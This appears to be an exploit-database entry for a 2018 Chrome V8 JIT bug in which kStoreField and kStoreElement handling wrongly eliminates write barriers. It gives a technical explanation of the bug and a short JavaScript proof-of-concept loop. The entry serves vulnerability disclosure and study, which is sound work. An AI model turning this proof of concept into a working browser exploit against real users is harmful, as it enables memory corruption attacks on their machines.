Exploits / Vulnerability Discovered : 2018-03-06 |
Type : dos |
Platform : multiple
This exploit / vulnerability Chrome v8 jit simplifiedlowererer iropcode::kstorefield, iropcode::kstoreelement optimization bug is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
/*
I think this commit has introduced the bugs: https://chromium.googlesource.com/v8/v8/+/c22ca7f73ba92f22d0cd29b06bb2944a545a8d3e%5E%21/#F0
// Make sure we convert to Smi if possible. This should help write
// barrier elimination.
if (field_representation == MachineRepresentation::kTagged &&
TypeOf(value_node)->Is(Type::SignedSmall())) {
field_representation = MachineRepresentation::kTaggedSigned;
}
WriteBarrierKind write_barrier_kind = WriteBarrierKindFor(
access.base_is_tagged, field_representation, access.offset,
access.type, input_info->representation(), value_node);
Since Smi stores can be performed without write barriers, if it's possible to convert to Smi, it tries to help write barrier elimination by changing field_representation to MachineRepresentation::kTaggedSigned as noted in the comment. But whether or not field_representation has changed, it uses TruncatingUseInfoFromRepresentation to process the value node.
But TruncatingUseInfoFromRepresentation(kTaggedSigned) returns UseInfo::AnyTagged() which is also compatible with kTaggedPointer. So even in the case where input_info->representation() is kTaggedPointer and the value is a heap object, it may eliminate the write barrier.
Note: It's the same when handling kStoreElement.
PoC 1 using kStoreField.
*/
var a, b; // should be var
for (var i = 0; i < 100000; i++) {
b = 1;
a = i + -0; // -0 is a number, so this will make "a" a heap object.
b = a;
}